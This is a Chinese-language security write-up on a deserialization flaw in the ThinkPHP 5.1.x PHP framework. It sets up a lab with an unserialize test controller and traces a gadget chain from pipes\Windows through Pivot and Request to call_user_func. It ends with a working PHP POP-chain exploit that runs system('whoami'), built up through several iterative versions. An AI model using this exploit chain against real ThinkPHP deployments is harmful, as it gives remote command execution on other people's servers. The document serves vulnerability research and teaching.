PHP反序列化-TP5.1.x框架

一个老版本的tp框架的反序列化漏洞

0x01环境搭建

  • PHP7.3+Xdebug+thinkphp5.1.37+PHPSTORM

直接用composer搭建

1
composer create-project --prefer-dist topthink/think=5.1.37 thinkphp5.1.37

运行环境

1
php think run

image-20250602170103037

出来了

因为是二次触发不是原生触发的,所以需要写个反序列化的入口

在app\index\controller目录下新建一个控制器Test.php

1
2
3
4
5
6
7
8
9
10
<?php
namespace app\index\controller;

class Test{
public function unserialize($poc=""){
echo "Welcome to unserialization:<br>";
echo "You's input :".$poc."<br>";
echo unserialize(base64_decode($poc));
}
}

然后在route.php中添加路由

1
Route::get('/test', 'Test/unserialize');

随后访问test路由

image-20250603144537882

搭建完成

0x02漏洞复现

全局搜索一下常规的反序列化入口__destruct()方法

image-20250603144654580

先看看第二个吧Process.php

1
2
3
4
public function __destruct()
{
$this->stop();
}

这里调用了一个stop函数,跟进看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function stop()
{
if ($this->isRunning()) {
if ('\\' === DIRECTORY_SEPARATOR && !$this->isSigchildEnabled()) {
exec(sprintf('taskkill /F /T /PID %d 2>&1', $this->getPid()), $output, $exitCode);
if ($exitCode > 0) {
throw new \RuntimeException('Unable to kill the process');
}
} else {
$pids = preg_split('/\s+/', `ps -o pid --no-heading --ppid {$this->getPid()}`);
foreach ($pids as $pid) {
if (is_numeric($pid)) {
posix_kill($pid, 9);
}
}
}
}

$this->updateStatus(false);
if ($this->processInformation['running']) {
$this->close();
}

return $this->exitcode;
}

这里是一个终止进程的代码,如果有一个正在运行的进程,就根据Windows和unix系统的不同处理方式去获取子进程的PID并强制终止进程,最后返回退出代码

我们跟进isRunning函数看看

1
2
3
4
5
6
7
8
9
10
public function isRunning()
{
if (self::STATUS_STARTED !== $this->status) {
return false;
}

$this->updateStatus(false);

return $this->processInformation['running'];
}

这里的话就检查进程状态,如果进程未开启则返回false,也就不会执行if语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    protected function updateStatus($blocking)
{
if (self::STATUS_STARTED !== $this->status) {
return;
}

$this->processInformation = proc_get_status($this->process);
$this->captureExitCode();

$this->readPipes($blocking, '\\' === DIRECTORY_SEPARATOR ? !$this->processInformation['running'] : true);

if (!$this->processInformation['running']) {
$this->close();
}
}

这个函数用于更新进程的状态,并赋值给processInformation表示进程状态,这里看完感觉没什么可利用的点,我们看看其他的类

看看think\process\pipes的Windows.php

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

先看看close函数

1
2
3
4
5
6
7
8
public function close()
{
parent::close();
foreach ($this->fileHandles as $handle) {
fclose($handle);
}
$this->fileHandles = [];
}

这里的话会调用父类的close方法,跟进看看

1
2
3
4
5
6
7
public function close()
{
foreach ($this->pipes as $pipe) {
fclose($pipe);
}
$this->pipes = [];
}

这里的话会关闭当前对象管理的管道资源,令管道资源数组为空

回到子类的close,新增了一个清理文件句柄的操作,这里貌似没有什么可用的地方,我们看看另一个函数removeFiles()

1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

这里检测文件是否存在,存在则执行unlink函数删除文件,一开始看到这个函数下意识想到phar反序列化的打法,但是这里只是一个单纯的反序列化,并且没有文件上传或者写文件的入口,估计这个能被利用来出题

那这里还能干嘛呢?在if语句里面利用file_exists($filename)的时候会把filename当成参数字符串去处理,那我们找找__toString()方法?

全局搜索__toString()方法,找到一个think\model\concern\Conversion.php__toString()

1
2
3
4
public function __toString()
{
return $this->toJson();
}
1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

跟进之后发现这里就是一个单纯的json字符串的解析返回,这里采用的是JSON_UNESCAPED_UNICODE,以字面编码多字节 Unicode 字符。跟进toArray函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
public function toArray()
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}

$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}

$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}

return $item;
}

看一下具体逻辑

对于visible数组来说,该数组是用于存储显示的属性的字符串

1
2
3
4
5
6
7
8
9
10
11
12
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

这里的话处理值为字符串的字段

  • 处理关联字段(含.的字符串):例如user.name处理后是['user' => ['name']]
  • 处理简单字段:例如id处理后是['id' => true]

处理好后清理原有的值

对于hidden数组来说,该数组是用于存储需要隐藏的属性字符串的

1
2
3
4
5
6
7
8
9
10
11
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

处理逻辑是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

这里的话就是利用前面的规则去处理关联模型对象

其实上面的都是一些基础的操作,我们真正利用的是最后的追加属性的操作

image-20250603154253978

我这里发现visible方法并没有声明,那就意味着这里可能会触发__call()方法,那当$relation可控的时候也就意味着key和name可控

因为Conversion是trait关键字声明的无法被实例化,那我们找找继承了该类的子类

image-20250603153703591

可以看到Model类在它的内部复用了被trait修饰的Conversion对象

然后恰好在该类中找到一个__call()方法

image-20250603154433522

但是这个方法中的调用函数的方法限制的很死,一会找找别的__call()方法

但是Model类是抽象类也不能被实例化,找找他的子类

全局搜索extends Model,表示继承Model类的子类,只找到一个Pivot类,所以只能是这个类了

因为Pivot类继承了Model抽象类,然而Model抽象类复用了被trait修饰的Conversion对象,所以可以通过Pivot类调用被trait修饰的Conversion对象的__toSrting()方法

不过在进入该if语句的时候还会执行第188行代码,也就是getRelation函数,我们跟进看一下

image-20250603154649705

为了更好的理解,我们构造一个test传进去试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this -> files = [new Pivot()];
}
}
}
namespace think{
abstract class Model{
protected $append = [];
public function __construct(){
$this -> append = ['test'=>['1','2']];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}

image-20250603163040517

此时key为我们构造的test,步入该函数,但是最后会返回空值,因为原先relation的值是空的,所以会直接跳过if语句返回空,返回后进入getAttr函数

image-20250603154909767

随后进入getData函数

image-20250603163522680

可以看到data此时是可控的,所以最后可以得出$relation变量可控,所以就可以触发__call方法,我们传个data试一下

image-20250603163710022

成功进入,并返回data中$name键对应的值

image-20250603173517134

所以如果我们设置值为一个对象的话,此时就会返回一个对象实例,从而触发__call()方法,但是这里的话name来自于append的值,所以我们可以设置值为需要传入__call()方法的参数

然后我们来找找__call()方法

找到一个think\Request类

image-20250603160208458

这里有个call_user_func_array函数,前面的话检查hook数组中是否有key为method参数的值,并且会在args中插入当前对象实例,这导致了$args不可控

然后我发现在Request类中的filterValue方法

image-20250603161626954

这里有一个call_use_func方法,但是怎么触发这个方法呢?

image-20250603174432019

在该类的input方法中用函数调用,但是该方法的$data参数不可控,所以这时候需要查找哪里调用input方法了,发现param方法调用了input

image-20250603174827041

这里$this->param可控,而name不可控,又需要查找哪里调用param方法,发现isAjax方法调用了param

1
2
3
4
5
6
7
8
9
10
11
12
13
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

$this->config可控,就代表param方法中的name参数可控,就代表input方法中data,name参数都可控,找到这条调用链后返回input函数

image-20250603175155284

在filterValue方法$filters参数要可控,所以我们跟进getFilter函数

image-20250603175247585

这下可以确定$filters参数是可控的,所以我们可以构造链子

1
think\process\pipes\Windows::__destruct()->Pivot::__toString()->Request::isAjax()->Request::input()->Request::filterValue()

然后一段段调试和设值

先是让链子跳到Request类的__call()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
namespace think\process\pipes{
use think\model\Pivot;

class Windows{
private $files = [];
public function __construct() {
$this -> files = [new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think{
abstract class Model{
private $data = [];
protected $append = [];
public function __construct(){
$this -> append = ["test" => ["test"]];
$this -> data = ["test" => new Request()];
}
}
class Request{}
}
namespace {
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}

image-20250603180543274

然后我们设置hook的值可以调用isAjax

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
namespace think\process\pipes{
use think\model\Pivot;

class Windows{
private $files = [];
public function __construct() {
$this -> files = [new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think{
abstract class Model{
private $data = [];
protected $append = [];
public function __construct(){
$this -> append = ["test" => ["test"]];
$this -> data = ["test" => new Request()];
}
}
class Request{
protected $hook = [];
public function __construct(){
$this -> hook = ["visible" => [$this,"isAjax"]];
}
}
}
namespace {
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}

image-20250603181006343

随后进入param函数,需要设置param的name值也就是我们的config数组中var_ajax键对应值,但是需要设置什么值呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace think\process\pipes{
use think\model\Pivot;

class Windows{
private $files = [];
public function __construct() {
$this -> files = [new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think{
abstract class Model{
private $data = [];
protected $append = [];
public function __construct(){
$this -> append = ["test" => ["test"]];
$this -> data = ["test" => new Request()];
}
}
class Request{
protected $hook = [];
protected $config;
protected $param;
protected $filter;
public function __construct(){
$this -> hook = ["visible" => [$this,"isAjax"]];
$this -> config = ['var_ajax'=> 'aaa'];
$this -> param = ["aaa"=>'whoami'];
}
}
}
namespace {
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}

image-20250603192821251

注意到input中有一个getData函数

image-20250603192846161

很容易就看出来,这里的话设置

1
2
$this -> config = ['var_ajax'=> 'aaa'];
$this -> param = ["aaa"=>'whoami'];

var_ajax键的值必须等于param的键名,这也才会返回data为whoami,随后进入filterValue函数,这时候就需要设置$filters的值了

image-20250603193142421

这里需要关注is_callable函数,该函数用于验证值是否可以在当前范围内作为函数调用

所以最后的exp

0x03最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
namespace think\process\pipes{
use think\model\Pivot;

class Windows{
private $files = [];
public function __construct() {
$this -> files = [new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think{
abstract class Model{
private $data = [];
protected $append = [];
public function __construct(){
$this -> append = ["test" => ["test"]];
$this -> data = ["test" => new Request()];
}
}
class Request{
protected $hook = [];
protected $config;
protected $param;
protected $filter;
public function __construct(){
$this -> hook = ["visible" => [$this,"isAjax"]];
$this -> config = ['var_ajax'=> 'aaa'];
$this -> param = ["aaa"=>'whoami'];
$this -> filter = "system";
}
}
}
namespace {
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}

image-20250603202739851

0x04影响版本

1
5.1.3 < tp < 5.1.37

0x05总结

其实这个exp最后的参数是我调试了一晚上得来的,当时一直没调试出来,卡在is_callable函数检测上,后面发现是我框架版本搞错了,这得益于我环境搭建的时候

1
composer create-project --prefer-dist topthink/think=5.1.* thinkphp5.1.37

这里没有指定版本,导致下载了5.1的最新版本,但是我并不清楚是因为框架版本不同,其中对该函数设置范围的不同导致的,这个结论并没有去验证,后面有机会再研究一下吧